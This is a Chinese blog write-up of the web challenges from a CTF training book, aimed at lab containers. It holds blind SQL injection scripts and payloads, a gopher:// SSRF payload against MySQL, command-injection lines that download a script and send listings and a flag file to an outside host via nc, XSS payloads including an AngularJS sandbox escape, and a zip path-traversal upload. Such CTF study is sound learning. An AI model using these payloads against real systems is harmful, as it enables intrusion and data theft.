《从0到1:CTFer成长之路》 配套题目Web WP

前言

自己刚学了CTF两个月,深感入门CTF的困难。非常感谢Nu1L战队可以编写这本一本非常详实而且全面的CTF书籍,为许许多多像我这样的弱鸡提供了入门的帮助。
自己是Web方向,虽然学了两个月,但是并不是很系统的对Web进行学习。非要给个定位的话,自己现在顶多算是0.2,距离这本书的从0到1还有很大的差距。因此为了提高自己,真正的成为1,自己买了这本书而且要努力的进行学习。

这本书的配套题目可以说给了自己学习知识的同时进行实践的机会。本来不想写WP的,因为考虑到Nu1L的微信公众号已经给出了WP。不过自己去查WP的时候觉得很麻烦,又考虑到自己有强烈的写WP来巩固自己所学知识的欲望,于是自己一边学习,每学完一部分的内容就去做做配套题目以巩固,然后写下WP,既巩固的知识,又方便了自己以后查找。不过考虑到学业繁重,只能在课余时间学习此书,因此WP的更新可能会很很很很很慢。

举足轻重的信息搜集

第一题:常见的搜集

进入环境,用dirsearch扫一下,发现存在vim备份文件,gedit备份文件和robots.txt文件。
在这里插入图片描述
robots.txt直接访问,发现flag1_is_her3_fun.txt,直接访问发现了flag1。
index.php~直接访问,发现flag2。
直接访问.index.php.swp,把vim备份文件下载下来,然后vim -r index.php.swp对文件进行恢复,就可以得到flag3。
然后把这三个flag拼接起来就可以了。

第二题 粗心的小李

进入环境,提示是git泄露,直接用githack:
在这里插入图片描述
然后去对应的文件夹里找,如果没有index.html,使用git checkout-index -a命令就可以了。
在这里插入图片描述
打开index.html,成功得到flag。

CTF中的SQL注入

SQL注入-1

进入环境,发现?id=1。我们输入3的时候告诉我们可以获得tips,这里忽略它。
首先尝试?id=2-1,发现显示的是id=2时的页面,说明可能是字符型注入,我们输入?id=1a,发现和id=1时的页面一样,印证了是字符型注入。然后尝试?id=1' and 1=1 -- -,和?id=1' and 1=2 -- -,印证了就是简单的字符型注入,然后就是正常的union注入了:

?id=1' order by 3 -- -
?id=-1' union select 1,2,3 -- -
?id=-1' union select 1,database(),3 -- -
?id=-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='note' -- -
?id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='fl4g' -- -
?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g -- -

是最基础的union注入。

SQL注入-2

一开始我以为这题环境进不去,后来才发现应该进的是login.php。
这是一个进行SQL注入的登录页面。我们首先可以在用户名那里试出是字符型注入,可以利用单引号闭合。f12查看一下源码,发现:
如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。

我是这么容易屈服的人吗?肯定不是。在坚决不开错误提示的情况下,我尝试了各种办法发现还是不行。这时候我反应过来了,这题不是用闭合单引号的方式直接登录的,是要获得flag的。因此应该是通过注入来获得数据库的相关信息,而不是所谓的靠万能密码,万能用户名进行登录。因此我换了一种思路,按照爆库的方式来注入,发现存在布尔注入:

在这里插入图片描述
在这里插入图片描述
因此就需要写脚本进行布尔注入了。但是还会遇到一个问题,就是在爆表的时候发现布尔注入失败了。怀疑存在过滤,尝试把select进行双写,发现布尔注入可以实现,因此这题居然还有个过滤select的坑。(这里其实我没想到。发现布尔注入不行后又折腾了几下,还是不行就屈服于了Nu1l的WP。。。)
接下来就是直接用脚本爆库了。脚本如下。
数据库长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    #key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
    key = "admin' and " + "(length(database())=" + str(i) + ")#"
    data = {
    
    'name':key, 'pass':'123'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of database is %s' %i)

        

数据库名字:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
        data = {
    
    'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)


表长度

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((sselectelect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1))=" + str(i) + "#"
    data = {
    
    'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of table is %s' %i)

        

表名字

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {
    
    'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

列长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1))=" + str(i) + "#"
    data = {
    
    'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

列名字:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {
    
    'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

flag长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(60):
    key = "admin' and " + "length((seselectlect flag FROM fl4g limit 0,1))=" + str(i) + "#"
    data = {
    
    'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

flag:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=26
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in dic:
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((sselectelect flag FROM fl4g limit 0,1),%d,1))="%j+str(ord(i))+")#"
        data = {
    
    'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=i
            print(name)

成功得到flag。

看了一下Nu1l官方的WP,是使用了?tips=1,开启了mysql错误提示,然后进行报错注入,记得双写select。

有一说一,这题最难的地方应该是select双写那个地方。如果不开启mysql错误回显的话,你就只有bool回显,当你的脚本不print内容的时候,你的第一反应应该是脚本写错了,而不是sql语句被过滤了。当你仔细检查后认为脚本没问题,把sql语句亲自放到burp上检查的时候,也很难想到是自己的sql语句被过滤了,因为真的没有任何提示。
所以这题真的挺考验思维的,是个很不错的题目。

任意文件读取漏洞

afr_1

首先进入环境,发现了?p=hello,然后页面回显了hello world。猜测存在文件包含,而且get传入的参数p后面应该被加上了后缀。
尝试?p=flag,发现回显no no no,因此我们要读取的文件应该就是flag.php。
用php的filter直接读取一下,成功获得flag:

?p=php://filter/read=convert.base64-encode/resource=flag

后面是flag而不是flag.php是因为考虑到传入的参数会被加上后缀。
在这里插入图片描述
再base64解码就成功获得了flag.php的源码,其中flag在注释里。

afr_2

进入环境,没什么发现。f12查看源码,发现了图片的路径。本来没什么察觉,但是用dirsearch扫了一下,发现图片的那个目录是可访问的:
在这里插入图片描述
去/img看一看,发现存在目录可以访问:
在这里插入图片描述
看到这个,第一反应是猜测是不是存在目录穿越漏洞。具体的内容可以参考《从0到1:CTFer成长之路》第38面的Nginx错误配置。其实光看一遍书可能想不到这个,但是因为我以前正好做到过一个Nginx错误配置的题目,因此一看到这样的目录页面,第一反应就是目录穿越。
尝试改成/img…/。(注意,我输入的是2个点,但是却显示三个点。。我也很迷。)
发现穿越到了上级目录:
在这里插入图片描述
直接访问flag,就可以获得flag了。

SSRF漏洞

SSRF Training

虽然说这题是书上的环境,但是我没看懂书。。。有一说一我感觉SSRF真的好难,根本看不懂。。。

首先是获得Web容器里的flag。点击这个就可以进入书中那个URL解析的例题环境。
在这里插入图片描述

直接构造?url=http://@127.0.0.1:[email protected]/flag.php
这里必须要带上80的端口号,不然解析URL好像就会出错,我也很迷。。。还是太菜了。。。

接下来是攻击MySQL。操作就是和书上一样的。打开2个MySQL容器,一个使用tcpdump,一个进行MySQL查询。
在这里插入图片描述

在这里插入图片描述
之后用wireshark打开那个数据包。这里需要把容器中的文件传递到主机里,使用命令:
在这里插入图片描述
然后用wireshark打开这个数据包,过滤mysql:
在这里插入图片描述
再随便选一个包右键,追踪流-TCP流,然后过滤出客户端到服务端的数据包:
在这里插入图片描述
然后我是把它转为原始数据,再将原始数据整理为一行,并将其url编码。
这里用到的URL编码脚本如下:

def result(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
    s="9f00000185a67f000000000108000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f72640063035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f7069640238390f5f636c69656e745f76657273696f6e06352e362e3438095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
    print(result(s))


返回了这样的结果:
curl gopher://127.0.0.1:3306/_%9f%00%00%01%85%a6%7f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%63%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%02%38%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%38%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01

然后直接请求:
在这里插入图片描述
这里可以看出其实已经爆出了MySQL数据库的所有东西,但是!乱码了。乱码的问题我就没有去解决了, 毕竟只是个测试的容器,可能这个docker如何装在Linux里应该就没问题了。不过有一说一,我也不知道我这样的MySQL攻击步骤到底对不对。。。。不过毕竟出了结果,可能过程有些问题叭。。。

接下来是PHP-FPM攻击。这个环境在desktop_vuln_1registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest里。
书本上关于这个的介绍其实不太详细,具体可以参考下面的文章:
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

学习完之后,就可以利用脚本了。不过
在这里插入图片描述
这个容器里并没有fpm.py这个脚本,在根目录有一个exp.py的脚本,官方应该把脚本的名字弄错了。
首先开2个窗口,一个执行命令,一个用来nc。
首先nc:
在这里插入图片描述
另一个窗口执行命令:
在这里插入图片描述
这时候我们看看nc的窗口,成功连接:
在这里插入图片描述
接下来就是按照书上说的那样了:
在这里插入图片描述
接下来就是将数据进行URL编码,然后进行攻击。

唯一还剩下一个redis的容器,不过我这里打开这个容器后会立刻自己关闭,目前还没有成功解决。。。

命令执行漏洞

死亡ping命令

真的是哪里不会就考哪里。。我反弹shell这里是很迷的,没想到命令执行还要搞。。。
总的来说,就是过滤了很多很多东西,而且无回显,要想办法反弹。
这里先抓包,利用%0a就可以执行多条命令。
在这里插入图片描述
接下来就是按照官方WP那样。
首先,在自己的公网ip网站里写一个1.sh,要传两次,依次是

ls / | nc xxx.xx.xxx.xxx 39001

cat /FLAG | nc xxx.xx.xxx.xxx 39001

nc自己的VPS的公网ip,端口是39001是因为我开的是39001。
第一次把ls /的结果回显到你的VPS上,发现了FLAG,第二次直接cat获取就可以了。
开始对ip进行传入:

127.0.0.1%0acurl xxx.xx.xxx.xxx/1.sh > /tmp/1.sh

这是把我们写的1.sh重定向到/tmp/1.sh。之后加权限:

127.0.0.1%0achmod 777 /tmp/1.sh

然后在自己的VPS上监听39001端口:
在这里插入图片描述
然后执行1.sh:

127.0.0.1%0ash /tmp/1.sh

这时候一定是可以ping成功的:
在这里插入图片描述
如果ping失败了,注意自己的端口有没有开,ip有没有填对,还有看看iptables,是不是因为防火墙的问题。自己这里是因为防火墙的问题,搞了两天才弄好。只能说第一次整VPS没经验。。。
之后看看自己的VPS,成功发现执行ls的回显:
在这里插入图片描述
其实这题不看WP是很难想到的,因为一般没回显都会直接反弹shell,但是docker里没有bash、python程序自己是不知道了。
还需要注意的是权限问题。一般都是往/tmp目录写sh,因为一般/tmp目录有写和执行的权限,但是为了保险,第二步还是加了权限,这是值得自己学习的。因为一旦自己往/tmp写sh成了习惯,如果有一个环境就是没权限的,基本就栽在里面了。

XSS的魔力

是一个闯关的设置,一步一步逐渐加大难度,自己做完之后对于XSS有了更深的理解。不过自己最大的问题还是JavaScript学的太差。。。看来还是要找个时间补一下JavaScript。

level1

没啥好说的,没有绕过,直接上才艺就可以了。

?username=<script>alert(1)</script>

level2

f12看源码:

<script type="text/javascript">
    	if(location.search == ""){
    
    
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:

?username=';alert(1);//

这样username就是这样:

var username = '';alert(1);//';

成功执行了alert(1)。

level3

还是直接f12看源码:

<script type="text/javascript">
    	if(location.search == ""){
    
    
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>

还是按照上题那样注入,结果不行,看看源码,发现引号被转义了:

var username = '\';alert(1);//';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;

但是注意到第三题并没有escape。这时候我一开始犯了一个错误。我忘记了注入点已经在script里了,因此遇到了一些奇怪的问题。不过因为这个问题我并没有解决,因此就放在这里,希望如果有大佬知道可以教教我。。

我接下来傻傻的注入:

?username=<script>alert(1)</script>

果然不行。但是,为什么不行呢?我f12查看源码,我发现我输入的</script>的颜色有些不太一样:
在这里插入图片描述
这和外面的<script>的颜色是一样的,难道字符串里的一样可以闭合吗?我在自己的本地试了试,发现报错了:
在这里插入图片描述
有些玄学。我上网查了查,实际上并没有查到一个真正可以解释这个的答案。不过有一些想法:
在这里插入图片描述
还有一个解决办法:
在这里插入图片描述
考虑到这题单引号已经被转义,因此只能<\/script>。在本地果然不报错了:
在这里插入图片描述
而且我发现我在本地用document.write的话,可以弹窗!
但是我发现这题还是不能弹窗。。直到我看到了外面已经有一层script。。。。。

嗯哼。。。。。上面都是自己的nt行为,接下来开始正确解题。直接alert(1)发现不行后,考虑将js动态写入html中,就是用各种on事件,这里直接这样:

?username=<img src=1 onerror=alert(1)>

level4

这题是一个定时重定向的,还是老样子f12看源码:

<script type="text/javascript">
    	var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    
    
    		jumpUrl = location.href;
    	}else{
    
    
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    
    
    		if(time == 0){
    
    
    			location.href = jumpUrl;
    		}else{
    
    
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${
      
      time}秒后将会重定向到${
      
      escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
    
    
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
    
    
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){
    
    return pair[1];}
		       }
		       return(false);
		}
    </script>

需要对这段JavaScript代码进行审计。
首先要知道windows.location对象包含的属性:
在这里插入图片描述

注意jumpUrl就是我们要跳转的网页,因此我们要注入的点应该是jumpUrl。
先一步一步审一下代码。getQueryVariable函数里面的query就是?后面的内容,比如http://localhost:3000/level4?123456,这样的话query就是123456。
vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。
然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组,这样pair[0]相当于参数名,pair[1]相当于值。接着进行判断,if(pair[0] == variable){return pair[1];}
因此我们直接构造好参数名,就是控制返回的内容。
因此这样:
在这里插入图片描述
这样jumpUrl的值就是我们要跳转的网页。这时候考虑怎么进行XSS,自然就想到了《从0到1:CTFer成长之路》第109面的伪协议和XSS,这部分是关于链接和跳转进行XSS的。因此可以利用js伪协议实现alert:

?jumpUrl=javascript:alert(1)

只不过你构造好之后,还要等10秒后重定向才可以弹窗。

level5

f12上源码:

<script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    
    
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    
    
    		
    	}
		function getQueryVariable(variable)
		{
    
    
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
    
    
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){
    
    return pair[1];}
		       }
		       return(false);
		}
    </script>

和level4的代码有些类似。还是进行审计。
只不过我们的构造要满足两个点:

if(getQueryVariable('autosubmit') !== false){
    
    

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

首先那个if语句不能为false,直接给autosubmit传个值就行了。
还有就是getQueryVariable(‘action’) 不能为false,然后构造action就可以实现和上一题类似的方式了。
审计完,理解好代码之后直接构造:

?autosubmit=1&action=javascript:alert(1)

成功弹窗。

level6

这题f12看不出来多少东西:
在这里插入图片描述
尝试输入<script>alert(1)</script>,发现对左尖括号<进行了html实体编码:
在这里插入图片描述
尝试进行编码绕过,但是不行。又尝试了各种办法还是不行。这时候我又去看了一遍书,因为这个环境考的肯定是书上的内容。突然灵机一动,发现《从0到1:CTFer成长之路》第110-111面的二次渲染导致的XSS和这个题目有些像。验证一波:
在这里插入图片描述
发现打印出了9,印证了是模板XSS。我们看一下这个环境用的是哪个模板,发现是AngularJS:
在这里插入图片描述

然后就是谷歌查相关的内容。
首先参考下面这个网页:
AngularJS客户端模板注入(XSS)
看完后就是模板注入XSS有了了解,不过由于我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:
AngularJS Sandbox Bypasses
从中得知的逃逸的办法:

{
    
    {
    
    'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

后面的alert(1)那里可以换成任意js函数。不过这题我们不需要,直接构造就可以了:

?username={
    
    {
    
    'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

终于通关了!!!:

在这里插入图片描述

Web文件上传漏洞

文件上传

这题也是看了官方的WP才顺利做出来,首先是自己学的还是有些问题,对于绕过的思考上出了问题。此外,就是010 Editor这个工具不太会用。。

首先进入环境,往下拉可以看到源码:

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){
    
    
    show_source(__FILE__);
}else{
    
    
    $file = $_FILES['file'];

    if(!$file){
    
    
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
    
    
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
    
    
            if(!in_array($f, array('.', '..'))){
    
    
                if(is_dir($dir.$f)){
    
    
                    check_dir($dir.$f.'/');
                 }else{
    
    
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
    
    
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
    
    
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
    
    
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
    
    
        if($ext == 'zip'){
    
    
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
    
    
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
    
    
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
    
    
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
    
    
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}


大致把源码看一遍,自然就联想到了《从0到1:CTFer成长之路》第150面开始的解压特殊文件实现绕过。
对2.4.9的ZIP上传带来的上传问题再读一遍,就会知道前几条都不满足,无法利用,只能利用第5点的目录穿越。

首先我们审计一下代码,第一个过滤点是这里:

foreach($archive->listContent() as $value){
    
    
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
    
    
                     exit("压缩包内不允许含有php文件!");
                 }
            }

也就是说利用了正则表达式过滤了以.php结尾的文件。这时候我的第一想法是构造.php/. 这样可以吗?其实是不行的,这其实是我书学的有问题,这个的内容在第143面,是在file_put_contents上传利用那里。在这题的条件下,尚且不说解压,用010 Editor进行改名后,出现在压缩包里的是这样:
在这里插入图片描述
也就是说,后面加上了/.其实并不会有了,而是让它变成了文件夹了。因此不行。
这时候我们看看是否存在解析漏洞:
在这里插入图片描述
我们发现使用了Apache,因此想到apache的解析漏洞。即构造xxxx.php.xxx,只要最后的xxx不能被解析,会继续向左解析,因此php可以成功被解析。

接下来就是按照书中的方法进行目录穿越了。因为

$temp_dir = $dir.md5(time(). rand(1000,9999));


if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

因此,我们上传的文件在/upload/随机/下面,因此要穿越两层目录,就可以到达网站的根目录了,因此前面要构造/…/…/
但是接下来我遇到了个问题,就是改名的问题。我只能说还是不太会用010 Editor。我是在windows下先生成一个zip压缩包,然后再把文件扔进zip包。这时候最好你原本文件名字的长度和你要改的长度一样,不然可能会很难搞。。。

首先就是下载010 Editor,然后破解,这些可以网上查。
然后就是使用了。左上角file,然后new file,打开zip:
在这里插入图片描述
如果没有下面的那个,需要手动打开:
在这里插入图片描述
这时候我们会看到,命名我的zip里只有一个文件,但是却显示2个:
在这里插入图片描述

这时候,我们需要修改第二个:
在这里插入图片描述
注意ushort deFileName…那里,那个20就是你文件名字的长度。
然后我们改成要构造的名字:
在这里插入图片描述
我构造的是/…/…/feng.php.feng
然后crtl+s保存就可以了。然后把这个zip上传。、
会显示上传成功,这时候我们的feng.php.feng已经目录穿越到了localhost目录下。直接访问就可以得到flag:
在这里插入图片描述
不过我还是有一些疑问,就是书上说压缩包内的第一个文件必须是正常文件,不然穿越文件在LInux下利用失败。我当时以为这个linux是题目环境的系统。但是我是在windows里起的docker,看到题目的环境是ubuntu的:
在这里插入图片描述
难道书上所说的是我们做题时候所在的系统吗。。。对于这一点有点迷。。

反序列化漏洞

这个题目真的是完全超乎了自己的能力范围了。。感觉刚入门的自己能审出来真的是不可能。。。
这个反序列化链的利用请参考这篇文章:
Thinkphp 反序列化利用链深入分析
自己最近也开始学习thinkphp的审计,等再学一段时间再尝试审一审这个反序列化的链吧。

Python的安全问题

没怎么学过python…对于web的python内容基本没接触过,这一章的内容就暂时不看了,预计11月初把python的相关内容学习后再来看这章,然后做题。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/108930033
wp1